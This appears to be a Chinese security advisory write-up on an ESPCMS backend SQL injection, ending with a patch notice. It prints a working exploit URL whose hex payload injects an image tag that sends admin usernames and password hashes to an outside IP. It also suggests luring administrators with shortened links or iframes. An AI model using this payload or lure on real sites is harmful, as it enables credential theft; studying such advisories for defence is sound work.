0x00 背景介绍
昨日,乌云漏洞平台公开了一个ESPCMS的注入漏洞,阿里云计算安全攻防对抗团队的小伙伴第一时间对漏洞做了一个影响评估。没想到需要登录到后台才可以注入,怪不得连厂商都主动忽略了该漏洞,一定是觉得利用成本比较高,难以造成更大的危害。
0x01 复现
抱着实事求是的心态,我们在测试环境搭建了一个ESPCMS尝试进行复现,从漏洞提交者的细节中可以看到,漏洞位于adminsoft\control\citylist.php内22行附近的一处整形注入,漏洞利用成功,会返回一个html页面:
可控的字符串出现在了html页面,没有经过加盐的MD5赤果果的回显出来,看似漏洞的危害也就局限于此。
0x02 新玩法
实际上这里我们可以使用SQL注入去构造一个“反射XSS”。实现了当管理员在登陆状态下点击黑客构造好的URL,后台密码就会发送到一个黑客指定的网站。
最终构造出的exp:
http://example.com/adminsoft/index.php?archive=citylist&action=citylist&parentid=-1 UNION select 1,2,concat(0x3c696d67207372633d22687474703a2f2f3135332e39322e34312e33312f312e7068703f613d,name,0x7c,password,0x22),4,5 FROM espcms_v6.espcms_admin_member
访问一下,页面中的源代码变成了下面这样:
抓包查看网络请求,管理员的账号密码已经被发送到了三方网站。
为了更好的伪装payload,可以把地址缩成一个短网址,发送给管理员邮箱并诱使他点击,或者还可以使用iframe嵌入到管理员经常访问的网站,姜太公钓鱼愿者上钩。
0x03 修复
由于官方忽略了该漏洞,也没有给出相应的修复方案,因此所有使用ESPCMS的网站都受漏洞影响。在团队小伙伴的努力之下,目前云盾“补丁管理”已率先推出针对该漏洞的自研修复补丁。阿里云用户可登录云盾控制台,访问“补丁管理”页面点击“立即修复”按钮,即可一键完成修复。